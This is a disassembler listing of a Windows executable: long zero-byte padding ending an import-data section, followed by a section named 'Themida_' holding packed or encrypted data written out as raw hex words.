		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000E1000 ( 921600.)
; Section size in file		: 000E1000 ( 921600.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 54685BF0h, 41B86h, 5444Eh, 95172h, 0
		dd 0B8h, 0C00B6000h, 0E86874h, 58000000h, 5305h, 0E9388000h
		dd 0EB611375h, 372DDB45h, 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		dd 0E840h, 25580000h
		db 0
byte_4E0049	db 0F0h, 2 dup(0FFh)	; DATA XREF: ___:004380F4o
		dd 0BB66FF33h, 83665A19h, 396634C3h, 0F127518h,	33C50B7h
		dd 44E9BBD0h, 0C3830000h, 741A3967h, 10002D07h,	0DAEB0000h
		dd 0EAE9F88Bh, 3000001h, 26AB9C7h, 0CF03000Eh, 0CEB80AEBh
		dd 0B90053E5h, 4E026Ah,	84E85150h, 0E8000000h, 0
		dd 262D58h, 0EFB90000h,	0C6000001h, 0E983E900h,	1488905h
		dd 1AFE961h, 93280000h,	7888E4C9h, 0DA6E5EBCh, 3D630BCFh
		dd 0D85F1F80h, 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		dd 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h,	0DCBA75EBh
		dd 1D3B76EDh, 564635CCh, 0F28784C5h, 78F2E432h,	172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 3163C78Eh
		dd 93264C98h, 60F2E4C8h, 2424748Bh, 28247C8Bh, 8A80B2FCh
		dd 7884606h, 2BB47h, 0D2020000h, 168A0575h, 73D21246h
		dd 75D202EAh, 46168A05h, 4F73D212h, 0D202C033h,	168A0575h
		dd 0FD21246h, 0DF83h, 75D20200h, 46168A05h, 0C013D212h
		dd 575D202h, 1246168Ah,	2C013D2h, 8A0575D2h, 0D2124616h
		dd 0D202C013h, 168A0575h, 13D21246h, 570674C0h,	78AF82Bh
		dd 4707885Fh, 2BBh, 0B89BEB00h,	1, 575D202h, 1246168Ah
		dd 2C013D2h, 8A0575D2h,	0D2124616h, 0C32BEA72h,	1BBh, 0B9287500h
		dd 1, 575D202h,	1246168Ah, 2C913D2h, 8A0575D2h,	0D2124616h
		dd 8B56EA72h, 0F3F52BF7h, 4FE95EA4h, 48FFFFFFh,	8A08E0C1h
		dd 0E88B4606h, 1B9h, 75D20200h,	46168A05h, 0C913D212h
		dd 575D202h, 1246168Ah,	3DEA72D2h, 7D00h, 3D1A73h, 72000005h
		dd 8B56410Eh, 0F3F02BF7h, 0FE95EA4h, 83FFFFFFh,	3777FF8h
		dd 5602C183h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEFAh, 3346068Ah
		dd 1E8C0C9h, 0D1831774h, 56E88B02h, 0F02BF78Bh,	0BB5EA4F3h
		dd 1, 0FFFED9E9h, 247C2BFFh, 247C8928h,	8C2611Ch, 0E364E900h
		dd 38E90005h, 1563344h,	35C8BBFEh, 0BCAF42B8h, 3E848B36h
		dd 240129FFh, 7701A15Dh, 70211157h, 52E05D8Dh, 39747365h
		dd 419C7261h, 9F2E5E70h, 0BF433878h, 0DC3B5BBBh, 5B0133CAh
		dd 54F07A84h, 6D0B6568h, 0BF616469h, 1685548h, 172471D7h
		dd 22795708h, 5E3DC21Dh, 1FC29245h, 7011917Fh, 45FEF785h
		dd 573DC298h, 8F707191h, 3CC43D7h, 2BBA7B84h, 1680801h
		dd 300E5CFFh, 10312D34h, 728BFCBFh, 60D41CC5h, 5D0022E8h
		dd 3353ED81h, 72890935h, 0D266195h, 101049B5h, 800AF985h
		dd 1520BD83h, 1C74E003h, 8BE88B0Ch, 7111B8E2h, 701CEFC2h
		dd 3E712444h, 6A002DD1h, 0A360E845h, 749A6829h,	50077A83h
		dd 1E250ADFh, 910A894Bh, 14E90AD5h, 0D057EC02h,	0EC0A8B55h
		dd 0EED8C483h, 0EA815AC0h, 8B344041h, 45C7DA09h, 18081BD8h
		dd 889400Eh, 80FC7D81h,	0F741DC6h, 24087F20h, 9810AB83h
		dd 0EB4312FFh, 0DC36E163h, 14267461h, 4604C2C9h, 7CC48106h
		dd 498E02FFh, 18D8A44h,	5D8B8045h, 4485C708h, 8D504A19h
		dd 0C3D1000Ah, 89411888h, 0BD810BA8h, 5D0206A2h, 2794E375h
		dd 64BA8D28h, 800475ECh, 0F4BB0E8Ah, 0F8B85B93h, 3F785437h
		dd 0F30D0D3h, 0F7754B08h, 0C314AFECh, 914A4647h, 42F98A46h
		dd 8A61D18Ah, 0F01DD0E8h, 45EE627Fh, 0EB4D82FCh, 23AD8F04h
		dd 143E8046h, 84BAF740h, 7D9834DBh, 7F64EB0Ch, 6D33F83Eh
		dd 32F01221h, 10A0F40Eh, 0F065C14Ah, 0F8D60450h, 3E0D10Eh
		dd 332858C2h, 1C8A07DBh, 33FB8030h, 0A0F0A72h, 4F057739h
		dd 2299BCEBh, 0DFD6114h, 0DB660A9Fh, 0D3D71E08h, 10AB0AC3h
		dd 72411A0Ch, 37460A0Bh, 0A8240677h, 0F05D0186h, 83F41CECh
		dd 7202C67Dh, 0C0CD0CB0h, 0AAD9A576h, 73F82690h, 80DA8D81h
		dd 0FC553BA8h, 78822A0Fh, 6FB070BDh, 0BA9438AAh, 0B9380838h
		dd 10FC702Ah, 35D0BDh, 49470FFEh, 71B9FA75h, 386A7722h
		dd 1BFD01BBh, 0CEB82F1h, 868E60C7h, 360E37EDh, 1D65510Ah
		dd 0E5FE1D77h, 70A268Ah, 590005E9h, 0A614BC67h,	6F617C51h
		dd 5D611909h, 9C13382Eh, 62C82C22h, 1EC43C5Ch, 0C7226900h
		dd 947CD7F6h, 0CF86A08Dh, 0BA0F0125h, 0E941A528h, 0F82F800Eh
		dd 92856B1Eh, 0AEB401DFh, 0F6565B47h, 10A8D324h, 9DD10F89h
		dd 0D2310242h, 60DD157Ch, 35B86F0h, 67C32C62h, 0CE28D98Ch
		dd 10CF98F1h, 34CB46DAh, 3982000Eh, 0F765B4Eh, 510FB810h
		dd 8ED1043Dh, 5C46CC3Bh, 2E093A75h, 480E11B0h, 6514E4ECh
		dd 808D0690h, 8E05C584h, 0AA52E196h, 42A3C53h, 8C0629C2h
		dd 0E7820571h, 98A6DD0Eh, 77812BFFh, 1D220460h,	0C84C134h
		dd 207533F9h, 0BB833FBCh, 39EFB30Ah, 419C0230h,	7F8C4CECh
		dd 40FCFFCCh, 52457F86h, 628060E9h, 4D8C52C4h, 82112504h
		dd 0AB26B1AAh, 13845A68h, 108C5644h, 0EE820A5Eh, 2881380Bh
		dd 8AC94431h, 13A2B9FAh, 28972305h, 86371043h, 0C0601304h
		dd 0E68D67DAh, 0E28128F9h, 0CAC40394h, 0B2DCCECh, 1F4430AEh
		dd 0BBFA0F61h, 7223C5F1h, 1AF1C862h, 284981Dh, 3DC8225h
		dd 3D1B7946h, 172930EAh, 443D16F6h, 5051FE6Bh, 392148E9h
		dd 8A0DC459h, 988C2545h, 41211D09h, 0B9C40751h,	0B099C88Ch
		dd 21BAC2F8h, 0CA868A0Ch, 60EA5C0Fh, 0E8F02F0Dh, 0D7007381h
		dd 727B6F1Bh, 18AC9EA8h, 250C8A10h, 0BC107EAh, 0BC25429Ch
		dd 5088A2E1h, 0E914177Eh, 0C75B0111h, 0FA6062B9h, 48CC7420h
		dd 0CF1F6A5Fh, 6CA54A82h, 4AF28080h, 2C77280Eh,	0FB22C167h
		dd 0E9313501h, 0D0E23C40h, 703777CEh, 6BA93C99h, 0C282EC80h
		dd 54BDE6EEh, 13C65A48h, 2C00FBC0h, 7CE5C918h, 0C250C561h
		dd 81EC20EAh, 0E7EE2BE6h, 0C3826201h, 383B948Eh, 60A82630h
		dd 36F61472h, 0B6C121ABh, 7158AFFh, 0D2FCDD25h,	890E1DA7h
		dd 0F3E98F3Dh, 0C06CC0E7h, 133F22D0h, 0C131427Ch, 0BE919EFh
		dd 7FBE7984h, 4006877Eh, 0B24D89A7h, 5CD08C02h,	4305F982h
		dd 1F8284D6h, 0EA26C87Fh, 0E63DC008h, 0FE5D9715h, 7FA7290Fh
		dd 9625A032h, 18B6BE88h, 100A34A6h, 42219E28h, 8C5F00C8h
		dd 362C47BAh, 0A2502E1Eh, 609871C3h, 0F533C061h, 9F5A0C22h
		dd 0FF3001B7h, 0DFE28908h, 951F0F16h, 8CB31E0h,	0BA05798Ch
		dd 97AF1027h, 8F24F480h, 0A2861889h, 2B2E70A8h,	50013D33h
		dd 0F43ACBDh, 310AA2ADh, 0C0787A5h, 3D22B41Dh, 49867399h
		dd 2109E8F6h, 66A4A700h, 81E2E11Bh, 0BA2A0C6Ch,	0F7982797h
		dd 60EA5F3Ah, 91FE7C41h, 0C9710003h, 0C7B3FCE4h, 2D60268Ch
		dd 438B62B8h, 0B2101160h, 8521069Ch, 18D93566h,	593007DAh
		dd 490C4502h, 890FE8BAh, 8FB600F9h, 5417FCE9h, 0D8000CA3h
		dd 146DCA5Eh, 44870F26h, 30A00D30h, 0B500CCCBh,	51804CE1h
		dd 0A8142134h, 0C010E8B0h, 84358659h, 3D003F06h, 658D9041h
		dd 3CCA279Ch, 0F55C66FCh, 81B94F03h, 5900A40Eh,	6B22E84Ah
		dd 3159C5Ch, 35ED37B4h,	62C8A272h, 29CFA60Eh, 0AD6CA312h
		dd 1F2BA0B1h, 0DDF5003Ah, 0F8094859h, 401F2129h, 8D451E79h
		dd 84054E1Ah, 0F0006904h, 552B5061h, 32E4A024h,	0B22E28B6h
		dd 388666F0h, 144D019h,	85410CF7h, 0A211087Fh, 0B5FCEF01h
		dd 51BA31E6h, 28DACC30h, 0FCB02863h, 0AA8A0C60h, 7F103817h
		dd 6A390B60h, 187AEAh, 5EA18FF3h, 0EEE4656Dh, 2B8B0E15h
		dd 915526B0h, 8A982E18h, 0A59D1471h, 6089D486h,	21416806h
		dd 0EA8E880Ch, 1219B9B0h, 211A1DC6h, 80127F34h,	1CAC4C79h
		dd 1C89A49Ch, 808463AAh, 0EFE06C7Dh, 7548063Bh,	71531D1Ch
		dd 810E58B1h, 12F14849h, 0FBAEF401h, 0DDC040A5h, 5609BFCCh
		dd 7387B004h, 2C900338h, 0C3318D0Eh, 6183341h, 85188970h
		dd 0D0B0C446h, 50B474BFh
		dd 148ECC4Bh, 981CEFE2h, 2A94247Ch, 21AE835Ch, 0D0084399h
		dd 0AE98Eh, 4E0233FFh, 419001FEh, 75A7F61Ch, 5C2058E6h
		dd 6F1C3338h, 0EFBD00A8h, 3F0A40h, 239AAE62h, 5CBAA2Ah
		dd 294170C3h, 40C2EB9Eh, 40798498h, 0AE71FB0Bh,	76AD5F0h
		dd 0BE849C10h, 0C04011E8h, 0B2B4C1F6h, 74341601h, 6FA705E0h
		dd 0A4B5F30h, 0F421AC4Ah, 95378118h, 0D8C82D02h, 32000661h
		dd 0F391CE58h, 0E092D5B4h, 21C91B2h, 5D82BD19h,	9A018480h
		dd 80CAC6A6h, 9681C0B2h, 0D369B68Ch, 7C00B8BCh,	0DA28AE56h
		dd 0BC012923h, 0AA8BDF21h, 50871733h, 0D075C01Ah, 717606D0h
		dd 0C131ED00h, 5FFD0BD3h, 52913A50h, 490258BBh,	0BFC9F68Ch
		dd 3242D7E0h, 63AFC207h, 6C40EB8Ah, 778B09B6h, 1EF6E467h
		dd 170A736Eh, 781FCBh, 794AF317h, 7600CE94h, 34C7C910h
		dd 74E5F8h, 0F7681CD6h,	0C158B0D2h, 0FC0035E2h,	0D17FC28Ah
		dd 583475CFh, 29029CF4h, 377E8595h, 94EA8083h, 8326F8C6h
		dd 1208C892h, 69211CBBh, 962D0814h, 0F191CA07h,	3CA01EF0h
		dd 76F609CCh, 6C188D0Fh, 2C40A923h, 0AA043FF8h,	0F940AA8h
		dd 21F72B92h, 189054DEh, 1334D04h, 0AE650206h, 0DA2C6085h
		dd 0E4108031h, 0C2615E00h, 0E95F9805h, 0B539C02Ah, 27F10B38h
		dd 8E849F0Ch, 0D603042h, 31892328h, 8010DF50h, 58620507h
		dd 97034D82h, 26E01885h, 0A8A9694Bh, 7E240092h,	8380AC0Ch
		dd 0F68B0BBDh, 0DA2F00B7h, 0A574529Dh, 3426625Eh, 0E8454017h
		dd 7A4C88h, 45C52DFh, 0EE943CCh, 6EAA19C0h, 448E06h, 0B275BA1Bh
		dd 0DF6270F1h, 23E2B004h, 0C8881A25h, 9ABC2AC7h, 0AC8A4CBCh
		dd 0E4611B00h, 7D77DE1Eh, 0F095F726h, 62CF2103h, 0CA32A8D1h
		dd 0C53319AEh, 20FDF830h, 185023BAh, 64881450h,	0A8790F6Bh
		dd 4A637D6Fh, 0EF081AAh, 3100DFF4h, 0FF71C170h,	3434D1CFh
		dd 0C241B519h, 0E5203998h, 0FCF3C7h, 1973F704h,	0F4CE6E36h
		dd 66891F00h, 0A0C57C4Dh, 986770Eh, 28A810D0h, 8AA518A1h
		dd 0E9898D18h, 5EC5137h, 0B72B0080h, 82444B72h,	2230788Dh
		dd 5620DC5Bh, 281E260h,	9E235801h, 0CC6297A2h, 0F8A73002h
		dd 77FDCA2h, 0E60BF420h, 506F146Ch, 0E4221462h,	0CAFE8E03h
		dd 2C881F34h, 882C9510h, 0F7002A9Fh, 8B45C582h,	700C98C7h
		dd 0B9E98B92h, 1CB98126h, 959A8D23h, 882F9024h,	70006B58h
		dd 0E66A1FBBh, 703DA81Eh, 0A5060BF5h, 60900D84h, 97889CABh
		dd 479232B4h, 2C66C748h, 0CCF8962Ch, 1900A311h,	33A57970h
		dd 0EE03E8DEh, 0DDC9C15Ah, 7CC0A599h, 92429CBFh, 1C97541Ch
		dd 94DC009Ah, 5F733ED3h, 0CE02B5D4h, 4FD65C9Ch,	0FC444EAh
		dd 6AF7A9Fh, 0F695DCC1h, 115DF4AEh, 0B61088B2h,	8505D566h
		dd 8C8A0F8Bh, 80841B08h, 4108B2A4h, 0EE44303Fh,	9F432945h
		dd 18763Dh, 145A868Dh, 1B34015Bh, 880264B1h, 2A336BEh
		dd 0A0466624h, 84501400h, 0FB55186Fh, 77A073E8h, 83872EC3h
		dd 422F6320h, 0BB710DD0h, 0C36B6609h, 9D2881F6h, 0EA013776h
		dd 71B98032h, 4AAC6AEEh, 5A1400BFh, 0B4B09D9Ch,	8A55F7B3h
		dd 11586078h, 0E048E889h, 4D31CE1h, 6C774046h, 12B6333Ah
		dd 808C9529h, 283A586h,	50F80A31h, 20E956h, 0AD4632CBh
		dd 1000BF76h, 0E7DE41C5h, 0B0FE8C0Fh, 0F9DB44C8h, 0F4BC5704h
		dd 1889A610h, 8F86AC05h, 80B34CD0h, 4796BC0Ch, 0D88AEE1h
		dd 6031C09Eh, 5B795275h, 0F97EBA00h, 4E61C1C8h,	81DB9853h
		dd 0FC3028F0h, 9BAA839Ah, 20B8EFE3h, 0DE4B9689h, 0A70E1006h
		dd 14C7051h, 296FF218h,	0D4E077D2h, 1B00829Ah, 0BEDE7A40h
		dd 9985CD89h, 7B3A80A4h, 0D72A32E1h, 0EF00277Ch, 814A985Fh
		dd 25E1DC1h, 21834489h,	0E468FABDh, 60F8F862h, 973CB103h
		dd 24C3E9Ch, 7D85A19h, 0E443BDD2h, 17F968D6h, 7C8CCD71h
		dd 90B651E4h, 847527h, 865909BAh, 0AA10D1A0h, 0F6C91260h
		dd 676E9E88h, 70D8E0BEh, 7F854C61h, 394891h, 0E145652Ch
		dd 4D1BAEF7h, 6002B0BDh, 1243447h, 0DA8AFB20h, 0FC1B50CFh
		dd 6888EDA1h, 0A504FEB5h, 90B20785h, 6529FB32h,	0A066B082h
		dd 0B604C059h, 0E0B9752h, 0AE294810h, 0F498A91Dh, 31C0201Ch
		dd 0E3604137h, 0EDEC1838h, 0B51FB1C8h, 94489E28h, 0ABDE6102h
		dd 0E09F9B1Dh, 9A86E004h, 0ACB0223Ch, 806C7F48h, 662B39B6h
		dd 527C0FB8h, 9243AA82h, 0C2890D85h, 8BC77188h,	138C0E28h
		dd 9A5F304h, 15C22D49h,	7DDF9E80h, 0E010C50h, 1BEBD07Ch
		dd 98CCB243h, 8809439h,	338A3190h, 8A4FB416h, 4B8908Fh
		dd 29211BADh, 0BA863CD0h, 481083A2h, 15703E68h,	94C20685h
		dd 353B9C22h, 26FABA2Eh, 8308E822h, 0F07E1E26h,	0DA165C69h
		dd 0F9081100h, 0B1CED7Fh, 7859399Eh, 4E8CE481h,	0F8F066A9h
